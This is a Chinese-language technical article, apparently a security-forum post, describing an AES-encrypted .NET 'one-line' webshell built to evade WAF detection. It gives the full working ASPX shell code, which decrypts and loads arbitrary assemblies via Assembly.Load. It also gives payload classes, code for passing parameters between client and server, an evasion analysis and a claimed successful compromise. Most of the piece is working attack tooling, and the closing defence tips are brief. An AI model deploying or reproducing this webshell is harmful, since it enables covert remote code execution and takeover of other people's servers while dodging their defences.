利用动态二进制加密实现新型一句话木马之.NET篇
字数 1294 2025-08-27 12:33:31

利用动态二进制加密技术实现新型.NET一句话木马

概述

本文介绍了一种新型的.NET一句话木马实现技术,通过动态二进制加密方式绕过WAF和其他网络安全防护系统的检测。该技术可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。

技术原理

核心思路

  1. 动态解析二进制DLL文件:利用.NET的Assembly.Load方法加载并执行加密的二进制流
  2. 会话密钥机制:每次会话生成唯一密钥,避免密钥在网络中明文传输
  3. 参数化Payload:通过特殊方式在二进制流中传递执行参数

关键技术点

  1. Assembly.Load方法

    public static System.Reflection.Assembly Load(byte[] rawAssembly);
    

    该方法可以加载包含已发出程序集的COFF格式映像的程序集

  2. CreateInstance方法

    public object CreateInstance(string typeName);
    

    用于实例化已加载程序集中的类

  3. RijndaelManaged加密
    使用AES算法对传输的二进制流进行加密

服务端实现

基本结构

服务端代码分为三部分:

  1. 密钥生成与分发
  2. 请求数据处理
  3. Payload执行

完整代码

<%@ Page Language="C#" %>
<%
if (Request["pass"]!=null)
{
    Session.Add("k", Guid.NewGuid().ToString().Replace("-","").Substring(0,16));
    Response.Write(Session["k"]);
    return;
}
byte[] k = Encoding.Default.GetBytes(Session["k"] + "");
byte[] c = Request.BinaryRead(Request.ContentLength);
System.Reflection.Assembly.Load(
    new System.Security.Cryptography.RijndaelManaged()
    .CreateDecryptor(k, k)
    .TransformFinalBlock(c, 0, c.Length))
    .CreateInstance("Payload").Equals(this);
%>

代码解析

  1. 密钥生成

    • 当收到带有"pass"参数的GET请求时
    • 生成16位随机字符串作为密钥
    • 将密钥存入Session并返回给客户端
  2. 数据处理

    • 从Session获取密钥
    • 读取POST请求的二进制内容
    • 使用AES解密数据
  3. Payload执行

    • 加载解密后的程序集
    • 创建指定类的实例
    • 调用Equals方法并传入当前Page对象

Payload设计

基本Payload示例

using System;
using System.Diagnostics;

public class Payload
{
    public override bool Equals(Object obj)
    {
        Process.Start("calc.exe");
        return true;
    }
}

高级Payload特性

  1. 获取HTTP上下文对象

    System.Web.UI.Page page = (System.Web.UI.Page)obj;
    var request = page.Request;
    var response = page.Response;
    var session = page.Session;
    var server = page.Server;
    
  2. 参数传递机制

    • 利用Assembly.Load忽略尾部额外数据的特性
    • 在DLL文件尾部附加参数数据
    • 使用特殊分隔符(~~~~~~)标记参数开始位置

客户端实现

关键功能

  1. 密钥获取

    • 发送GET请求获取会话密钥
  2. Payload构造

    • 预编译Payload DLL
    • 在DLL尾部附加参数数据
  3. 加密传输

    • 使用AES加密整个数据流
    • 发送POST请求执行Payload

参数传递实现

  1. 参数附加

    // 将参数序列化为JSON
    String extraParams = "{\"param1\":\"value1\",\"param2\":\"value2\"}";
    // 附加到DLL字节流
    byte[] finalData = new byte[dllBytes.length + 6 + extraParams.getBytes().length];
    System.arraycopy(dllBytes, 0, finalData, 0, dllBytes.length);
    System.arraycopy("~~~~~~".getBytes(), 0, finalData, dllBytes.length, 6);
    System.arraycopy(extraParams.getBytes(), 0, finalData, dllBytes.length + 6, extraParams.getBytes().length);
    
  2. 服务端参数提取

    private Dictionary<string, object> getExtraData(byte[] fullData)
    {
        int extraIndex = IndexOf(fullData, new byte[] { 0x7e, 0x7e, 0x7e, 0x7e, 0x7e, 0x7e });
        byte[] extraData = new List<byte>(fullData).GetRange(extraIndex + 6, fullData.Length - extraIndex - 6).ToArray();
        String extraStr = System.Text.Encoding.Default.GetString(extraData);
        return new System.Web.Script.Serialization.JavaScriptSerializer()
               .Deserialize<Dictionary<string, object>>(extraStr);
    }
    

防御绕过分析

  1. 流量层面

    • 所有通信内容均为加密二进制流
    • 无固定特征字符串
    • 密钥不通过网络传输
  2. 文件层面

    • 服务端代码简洁,无恶意特征
    • 核心功能通过反射实现
    • 执行逻辑动态变化

实际应用案例

  1. 传统一句话木马被拦截

    • 常规aspx一句话木马上传后
    • 连接时直接被防御系统reset
  2. 新型木马成功绕过

    • 上传新型一句话木马
    • 使用专用客户端连接
    • 成功获取目标系统控制权

防御建议

  1. 检测层面

    • 监控Assembly.Load的异常使用
    • 检测异常的二进制流加载行为
    • 分析Session的异常使用模式
  2. 防护层面

    • 限制反射功能的使用
    • 控制动态程序集加载
    • 加强密钥管理监控
  3. 响应层面

    • 建立异常行为基线
    • 实施实时行为分析
    • 加强文件上传审核

总结

这种新型.NET一句话木马技术通过动态二进制加密和反射机制,有效绕过了传统安全防护系统的检测。其核心优势在于:

  1. 无固定特征的可执行代码
  2. 加密的通信内容
  3. 动态的参数传递机制
  4. 简洁的服务端实现

安全团队需要深入了解这种技术的实现原理,才能有效防御此类攻击。

利用动态二进制加密技术实现新型.NET一句话木马 概述 本文介绍了一种新型的.NET一句话木马实现技术,通过动态二进制加密方式绕过WAF和其他网络安全防护系统的检测。该技术可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。 技术原理 核心思路 动态解析二进制DLL文件 :利用.NET的Assembly.Load方法加载并执行加密的二进制流 会话密钥机制 :每次会话生成唯一密钥,避免密钥在网络中明文传输 参数化Payload :通过特殊方式在二进制流中传递执行参数 关键技术点 Assembly.Load方法 : 该方法可以加载包含已发出程序集的COFF格式映像的程序集 CreateInstance方法 : 用于实例化已加载程序集中的类 RijndaelManaged加密 : 使用AES算法对传输的二进制流进行加密 服务端实现 基本结构 服务端代码分为三部分: 密钥生成与分发 请求数据处理 Payload执行 完整代码 代码解析 密钥生成 : 当收到带有"pass"参数的GET请求时 生成16位随机字符串作为密钥 将密钥存入Session并返回给客户端 数据处理 : 从Session获取密钥 读取POST请求的二进制内容 使用AES解密数据 Payload执行 : 加载解密后的程序集 创建指定类的实例 调用Equals方法并传入当前Page对象 Payload设计 基本Payload示例 高级Payload特性 获取HTTP上下文对象 : 参数传递机制 : 利用Assembly.Load忽略尾部额外数据的特性 在DLL文件尾部附加参数数据 使用特殊分隔符(~~~~~~)标记参数开始位置 客户端实现 关键功能 密钥获取 : 发送GET请求获取会话密钥 Payload构造 : 预编译Payload DLL 在DLL尾部附加参数数据 加密传输 : 使用AES加密整个数据流 发送POST请求执行Payload 参数传递实现 参数附加 : 服务端参数提取 : 防御绕过分析 流量层面 : 所有通信内容均为加密二进制流 无固定特征字符串 密钥不通过网络传输 文件层面 : 服务端代码简洁,无恶意特征 核心功能通过反射实现 执行逻辑动态变化 实际应用案例 传统一句话木马被拦截 : 常规aspx一句话木马上传后 连接时直接被防御系统reset 新型木马成功绕过 : 上传新型一句话木马 使用专用客户端连接 成功获取目标系统控制权 防御建议 检测层面 : 监控Assembly.Load的异常使用 检测异常的二进制流加载行为 分析Session的异常使用模式 防护层面 : 限制反射功能的使用 控制动态程序集加载 加强密钥管理监控 响应层面 : 建立异常行为基线 实施实时行为分析 加强文件上传审核 总结 这种新型.NET一句话木马技术通过动态二进制加密和反射机制,有效绕过了传统安全防护系统的检测。其核心优势在于: 无固定特征的可执行代码 加密的通信内容 动态的参数传递机制 简洁的服务端实现 安全团队需要深入了解这种技术的实现原理,才能有效防御此类攻击。